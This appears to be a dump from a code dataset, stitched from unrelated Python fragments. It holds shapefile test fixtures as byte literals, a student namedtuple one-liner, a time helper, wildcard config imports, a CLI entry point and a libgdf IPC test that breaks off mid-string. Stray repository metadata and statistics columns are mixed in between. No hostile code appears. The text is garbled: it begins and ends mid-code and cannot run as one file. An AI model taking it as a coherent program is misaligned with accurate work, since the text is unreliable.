b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00N\xe8\x03\x00\x00' b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F\xc0\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x00\x00\x80F@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x01\x00\x00\x00\n\x01\x00\x00\x00\x00\x00\x00\x00' b'\x00\x80F@\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x02\x00\x00\x00\n' b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F\xc0', 'shx': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\xe8\x03\x00\x00' b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F\xc0\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x00\x00\x80F@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x002\x00\x00\x00\n\x00\x00\x00@\x00\x00\x00\n'} @property def result_shp_polygon(self): return {'check': 1, 'dbf': b'\x00ID\x00\x00\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00USER_NAME\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00SURVEY\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00TIME' b'\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PHOTO\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00VIDEO\x00\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_1\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_1\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00QUEST_2\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00ANS_2\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r 39' b' Name51 ' b' survey50 ' b' 20-Nov-2021 22:45:00 https:' b'//telegra.ph/test_path_photo51 https://telegra.ph/test_' b'path_video51 question50_1 ' b' answer51_1 question50' b'_2 answer51_2 ' b' 40 ' b' Name52 survey50 ' b' 20-Nov-2021 22:45:00 ' b' https://telegra.ph/test_path_photo52 ' b' https://telegra.ph/test_path_video52 question50_1 ' b' answer52_1 ' b' question50_2 ans' b'wer52_2 ', 'shp': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xe8\x03\x00\x00' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00' b'\x00\x00>\xc0\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x01\x00\x00\x008\x05\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00>@\x01\x00\x00\x00\x04\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>\xc0' b'\x00\x00\x00\x00\x00\x00$@\x00\x00\x00\x00\x00\x004@\x00\x00\x00\x00' b'\x00\x00>@\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x02\x00\x00\x008' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00' b'\x00\x00$\xc0\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x004@' b'\x01\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00D@\x00\x00\x00\x00\x00\x00$@\x00\x00\x00\x00\x00\x00D\xc0' b'\x00\x00\x00\x00\x00\x00$\xc0\x00\x00\x00\x00\x00\x80Q@' b'\x00\x00\x00\x00\x00\x004@\x00\x00\x00\x00\x00\x00D@\x00\x00\x00\x00' b'\x00\x00$@', 'shx': b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\xe8\x03\x00\x00' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00' b'\x00\x00>\xc0\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x00>@' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x002\x00\x00\x008\x00\x00\x00n\x00\x00\x008'} @property def result_geom_shp_point(self): return [b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00N\xe8\x03\x00\x00\x01\x00\x00\x00' b'\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F@\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\n' b'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x00\x00\x80F@' b'\x00\x00\x00\x02\x00\x00\x00\n\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80F\xc0' b'\x00\x00\x00\x00\x00\x80F\xc0', b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00:\xe8\x03\x00\x00\x01\x00\x00\x00' b'\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00\x00\x80F\xc0\x00\x00\x00\x00' b'\x00\x80F@\x00\x00\x00\x00\x00\x80F@\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x00\x00\x00\n\x00\x00\x00@' b'\x00\x00\x00\n', b'\x03y\x0b\x16\x02\x00\x00\x00a\x01\xf5\x01\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ID\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00USER_NAME\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00SURVEY\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00TIME\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PHOT' b'O\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00VIDEO\x00\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_1\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_1\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_2\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_2\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\r 37 Name' b'53 survey53 ' b' 20-Nov-2021 22:45:00 https:' b'//telegra.ph/test_path_photo53 https://telegra.ph/test_path_vid' b'eo53 question53_1 answer53' b'_1 question53_2 ' b' answer53_2 38 ' b' Name53 ' b' survey53 20-Nov-2021' b' 22:45:00 ' b' question53_1 ' b' answer53_1 ' b' question53_2 answer53_2 ' b' ', b'GEOGCS["GCS_WGS_1984",DATUM["D_WGS_1984",SPHEROID["WGS_1984",6378137,298.257' b'223563]],PRIMEM["Greenwich",0],UNIT["Degree",0.017453292519943295]]'] @property def result_geom_shp_polygon(self): return [b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00\xaa\xe8\x03\x00\x00\x05\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00' b'\x00\x80Q@\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x008' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>\xc0' b'\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x00\x00\x00>@\x01\x00\x00\x00' b'\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x00' b'\x00\x00>@\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00\x00\x00>\xc0' b'\x00\x00\x00\x00\x00\x00$@\x00\x00\x00\x00\x00\x004@\x00\x00\x00\x00' b'\x00\x00>@\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x02\x00\x00\x008' b'\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00\x00\x00$\xc0' b'\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x004@\x01\x00\x00\x00' b'\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D@\x00\x00\x00\x00' b'\x00\x00$@\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00\x00\x00$\xc0' b'\x00\x00\x00\x00\x00\x80Q@\x00\x00\x00\x00\x00\x004@\x00\x00\x00\x00' b'\x00\x00D@\x00\x00\x00\x00\x00\x00$@', b"\x00\x00'\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" b'\x00\x00\x00\x00\x00\x00\x00:\xe8\x03\x00\x00\x05\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00D\xc0\x00\x00\x00\x00\x00\x00>\xc0\x00\x00\x00\x00' b'\x00\x80Q@\x00\x00\x00\x00\x00\x00>@\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x00\x00\x008\x00\x00\x00n' b'\x00\x00\x008', b'\x03y\x0b\x16\x02\x00\x00\x00a\x01\xf5\x01\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ID\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00USER_NAME\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00SURVEY\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00TIME\x00\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x00' b'2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00PHOT' b'O\x00\x00\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00VIDEO\x00\x00\x00\x00\x00\x00C' b'\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_1\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_1\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00QUEST_2\x00\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00' b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ANS_2\x00\x00\x00' b'\x00\x00\x00C\x00\x00\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\r 39 Name' b'54 survey53 ' b' 20-Nov-2021 22:45:00 https:' b'//telegra.ph/test_path_photo54 https://telegra.ph/test_path_vid' b'eo54 question53_1 answer54' b'_1 question53_2 ' b' answer54_2 40 ' b' Name55 ' b' survey53 20-Nov-2021' b' 22:45:00 https://telegra.ph/test_path_photo55 ' b' https://telegra.ph/test_path_video55 question53_1 ' b' answer55_1 ' b' question53_2 answer55_2 ' b' ', b'GEOGCS["GCS_WGS_1984",DATUM["D_WGS_1984",SPHEROID["WGS_1984",6378137,298.257' b'223563]],PRIMEM["Greenwich",0],UNIT["Degree",0.017453292519943295]]']

69.396552

120

0.390725

8,114

72,450

3.412127

0.066428

0.550459

0.66055

0.691324

0.837427

0.808387

0.790797

0.777252

0.764899

0.732536

0

0.248996

0.456977

72,450

1,044

121

69.396552

0.45473

0.001629

0

0.631743

0

0.275934

0.507737

0.234848

0

1

0.074689

false

0.001037

0.002075

0.073651

0.155602

0

null

1

0

1

0

1

0

1

0

null

0

12

424b3207336300f0a34bbc72098c2f8c131bd3c7

205

py

Python

CA117/Lab_5/stutuple_32.py

PRITI1999/OneLineWonders

91a7368e0796e5a3b5839c9165f9fbe5460879f5

[ "MIT" ]

6

2016-02-04T00:15:20.000Z

2019-10-13T13:53:16.000Z

CA117/Lab_5/stutuple_32.py

PRITI1999/OneLineWonders

91a7368e0796e5a3b5839c9165f9fbe5460879f5

[ "MIT" ]

2

2016-03-14T04:01:36.000Z

2019-10-16T12:45:34.000Z

CA117/Lab_5/stutuple_32.py

PRITI1999/OneLineWonders

91a7368e0796e5a3b5839c9165f9fbe5460879f5

[ "MIT" ]

10

2016-02-09T14:38:32.000Z

2021-05-25T08:16:26.000Z

Student,show_student=__import__("collections").namedtuple("Student",["firstname","surname","id"]),lambda s:print("First name: {}\n{:>10}: {}\n{:>10}: {}".format(s.firstname,"Surname",s.surname,"ID",s.id))

102.5

204

0.673171

28

205

4.75

0.571429

0.240602

0

0.020101

0.029268

205

1

205

0.648241

0

0.404878

0

1

0

true

0

1

0

1

0

null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

8

429e0891ed2ca21fa2f18be7b6863cd0f9d3ad96

52

py

Python

notebooks/custom_functions.py

Telefonica/clipspy

87d1d63604a209e2271efd3d3b8df0943836a504

[ "BSD-3-Clause" ]

null

notebooks/custom_functions.py

Telefonica/clipspy

87d1d63604a209e2271efd3d3b8df0943836a504

[ "BSD-3-Clause" ]

null

notebooks/custom_functions.py

Telefonica/clipspy

87d1d63604a209e2271efd3d3b8df0943836a504

[ "BSD-3-Clause" ]

null

import time def get_time(): return time.time()

10.4

22

0.673077

8

52

4.25

0.625

0

0.211538

52

4

23

13

0.829268

0

1

0.333333

true

0

0.333333

1

0

1

0

null

0

1

0

null

0

1

0

1

0

7

671418db26c09cf2289f4f64ba1a7ee2437086c9

333

py

Python

paperboy/config/__init__.py

chris-aeviator/paperboy

604c912c3530cd37fb07dcf22321d9dde15465ee

[ "Apache-2.0" ]

233

2018-11-01T09:17:08.000Z

2022-03-22T08:27:24.000Z

paperboy/config/__init__.py

chris-aeviator/paperboy

604c912c3530cd37fb07dcf22321d9dde15465ee

[ "Apache-2.0" ]

99

2018-10-17T21:48:42.000Z

2021-05-07T08:33:36.000Z

paperboy/config/__init__.py

chris-aeviator/paperboy

604c912c3530cd37fb07dcf22321d9dde15465ee

[ "Apache-2.0" ]

29

2018-11-01T11:33:08.000Z

2022-01-12T22:12:19.000Z

from .base import * # noqa: F401, F403 from .forms import * # noqa: F401, F403 from .job import * # noqa: F401, F403 from .notebook import * # noqa: F401, F403 from .output import * # noqa: F401, F403 from .report import * # noqa: F401, F403 from .scheduler import * # noqa: F401, F403 from .user import * # noqa: F401, F403

37

44

0.663664

48

333

4.604167

0.270833

0.361991

0.506787

0.651584

0.696833

0

0.183908

0.216216

333

8

45

41.625

0.662835

0.405405

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

6720e3dd5cd16619e6566f3c83ba08ef7e9082bb

68

py

Python

src/kfs/__main__.py

mattkram/kfs

a0dde700e05dc44acc9b523e4092e51065f57856

[ "MIT" ]

null

src/kfs/__main__.py

mattkram/kfs

a0dde700e05dc44acc9b523e4092e51065f57856

[ "MIT" ]

2

2022-01-24T04:17:38.000Z

2022-01-31T17:07:34.000Z

src/kfs/__main__.py

mattkram/kfs

a0dde700e05dc44acc9b523e4092e51065f57856

[ "MIT" ]

null

from .cli import app # pragma: no cover app() # pragma: no cover

17

40

0.661765

11

68

4.090909

0.636364

0.4

0.488889

0.711111

0

0.235294

68

3

41

22.666667

0.865385

0.485294

0

1

0

true

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

6720f9681d1f6035ee739a684252fd2b77079018

10,532

py

Python

python/tests/test_ipc.py

aschaffer/libgdf

dd9bc77a61098215b37f63cc8a09c3dc69cf1cb3

[ "Apache-2.0" ]

1

2020-07-13T04:17:08.000Z

python/tests/test_ipc.py

aschaffer/libgdf

dd9bc77a61098215b37f63cc8a09c3dc69cf1cb3

[ "Apache-2.0" ]

null

python/tests/test_ipc.py

aschaffer/libgdf

dd9bc77a61098215b37f63cc8a09c3dc69cf1cb3

[ "Apache-2.0" ]

null

import json from pprint import pprint import numpy as np from numba import cuda from libgdf_cffi import ffi, libgdf expected_values = """ 0,orange,0.4713545411053003 1,orange,0.003790919207527499 2,orange,0.4396940888188392 3,apple,0.5693619092183622 4,pear,0.10894215574048405 5,pear,0.09547296520000881 6,orange,0.4123169425191555 7,apple,0.4125838710498503 8,orange,0.1904218750870219 9,apple,0.9289366739893021 10,orange,0.9330387015860205 11,pear,0.46564799732291595 12,apple,0.8573176464520044 13,pear,0.21566885180419648 14,orange,0.9199361970381871 15,orange,0.9819955872277085 16,apple,0.415964752238025 17,grape,0.36941794781567516 18,apple,0.9761832273396152 19,grape,0.16672327312068824 20,orange,0.13311815129622395 21,orange,0.6230693626648358 22,pear,0.7321171864853122 23,grape,0.23106658283660853 24,pear,0.0198404248930919 25,orange,0.4032931749027482 26,grape,0.665861129515741 27,pear,0.10253071509254097 28,orange,0.15243296681892238 29,pear,0.3514868485827787 """ def get_expected_values(): lines = filter(lambda x: x.strip(), expected_values.splitlines()) rows = [ln.split(',') for ln in lines] return [(int(idx), name, float(weight)) for idx, name, weight in rows] def test_ipc(): schema_bytes = b'\xa8\x01\x00\x00\x10\x00\x00\x00\x0c\x00\x0e\x00\x06\x00\x05\x00\x08\x00\x00\x00\x0c\x00\x00\x00\x00\x01\x02\x00\x10\x00\x00\x00\x00\x00\n\x00\x08\x00\x00\x00\x04\x00\x00\x00\n\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00\x18\x01\x00\x00p\x00\x00\x00\x04\x00\x00\x00\x08\xff\xff\xff\x00\x00\x01\x03@\x00\x00\x00$\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00$\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x08\x00\x06\x00\x06\x00\x00\x00\x00\x00\x02\x00\xe8\xfe\xff\xff@\x00\x01\x00\xf0\xfe\xff\xff\x01\x00\x02\x00\x06\x00\x00\x00weight\x00\x00\x14\x00\x1e\x00\x08\x00\x06\x00\x07\x00\x0c\x00\x10\x00\x14\x00\x18\x00\x00\x00\x14\x00\x00\x00\x00\x00\x01\x05|\x00\x00\x00T\x00\x00\x00\x18\x00\x00\x00D\x00\x00\x000\x00\x00\x00\x00\x00\n\x00\x14\x00\x08\x00\x04\x00\x00\x00\n\x00\x00\x00\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\xff\xff\xff\x00\x00\x00\x01 \x00\x00\x00\x03\x00\x00\x000\x00\x00\x00$\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x04\x00\x04\x00\x00\x00|\xff\xff\xff\x08\x00\x01\x00\x08\x00\x08\x00\x06\x00\x00\x00\x08\x00\x00\x00\x00\x00 \x00\x94\xff\xff\xff\x01\x00\x02\x00\x04\x00\x00\x00name\x00\x00\x00\x00\x14\x00\x18\x00\x08\x00\x06\x00\x07\x00\x0c\x00\x00\x00\x10\x00\x14\x00\x00\x00\x14\x00\x00\x00\x00\x00\x01\x02L\x00\x00\x00$\x00\x00\x00\x14\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x000\x00\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0c\x00\x08\x00\x07\x00\x08\x00\x00\x00\x00\x00\x00\x01 \x00\x00\x00\xf8\xff\xff\xff \x00\x01\x00\x08\x00\x08\x00\x04\x00\x06\x00\x08\x00\x00\x00\x01\x00\x02\x00\x03\x00\x00\x00idx\x00\xc8\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x14\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x02\x02\x00\x14\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x08\x00\x12\x00\x08\x00\x04\x00\x08\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x18\x00\x0c\x00\x04\x00\x08\x00\n\x00\x00\x00d\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x0b\x00\x00\x00\x0f\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00orangeapplepeargrape\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' cpu_data = np.ndarray(shape=len(schema_bytes), dtype=np.byte, buffer=bytearray(schema_bytes)) # Use GDF IPC parser schema_ptr = ffi.cast("void*", cpu_data.ctypes.data) ipch = libgdf.gdf_ipc_parser_open(schema_ptr, cpu_data.size) if libgdf.gdf_ipc_parser_failed(ipch): print(libgdf.gdf_ipc_parser_get_error(ipch)) jsonraw = libgdf.gdf_ipc_parser_get_schema_json(ipch) jsontext = ffi.string(jsonraw).decode() json_schema = json.loads(jsontext) pprint(json_schema) recordbatches_bytes = b'\x1c\x01\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x16\x00\x06\x00\x05\x00\x08\x00\x0c\x00\x0c\x00\x00\x00\x00\x03\x02\x00\x18\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x18\x00\x0c\x00\x04\x00\x08\x00\n\x00\x00\x00\xac\x00\x00\x00\x10\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x10\x00\x00\x00\x11\x00\x00\x00\x12\x00\x00\x00\x13\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00\x14\x00\x00\x00\x15\x00\x00\x00\x16\x00\x00\x00\x17\x00\x00\x00\x08\x00\x00\x00\t\x00\x00\x00\n\x00\x00\x00\x0b\x00\x00\x00\x18\x00\x00\x00\x19\x00\x00\x00\x1a\x00\x00\x00\x1b\x00\x00\x00\x0c\x00\x00\x00\r\x00\x00\x00\x0e\x00\x00\x00\x0f\x00\x00\x00\x1c\x00\x00\x00\x1d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x93\xb7<\xac*\xde?\x00Y\x94@"\x0eo?\xf8+\xee\xac\xf2#\xdc?\xa4\xcauw68\xe2?\xf8\xaa\xc9\x9f*\x9f\xda?\xe0\x1e\x1b-\x8b\xa